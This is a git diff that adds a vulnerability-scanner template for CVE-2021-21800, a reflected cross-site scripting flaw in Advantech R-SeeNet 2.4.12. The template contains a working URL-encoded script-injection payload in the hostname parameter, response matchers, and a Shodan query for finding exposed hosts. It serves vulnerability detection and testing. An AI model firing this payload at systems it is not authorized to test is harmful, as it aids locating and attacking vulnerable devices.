diff --git a/cves/2021/CVE-2021-21800.yaml b/cves/2021/CVE-2021-21800.yaml
new file mode 100644
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+id: CVE-2021-21800
+
+info:
+  name: Advantech R-SeeNet v 2.4.12 - Cross Site Scripting
+  author: arafatansari
+  severity: medium
+  description: |
+    Advantech R-SeeNet v 2.4.12 is vulnerable to Refleced Cross Site Scripting in the ssh_form.php script functionality.
+  reference:
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21800
+    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1271
+  metadata:
+    shodan-query: http.html:"R-SeeNet"
+    verified: "true"
+  tags: xss,cve,2021,unauthenticated
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(1)%3C/script%3E%3Ctitle%3E"
+
+    cookie-reuse: true           
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<script>alert(1)</script>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200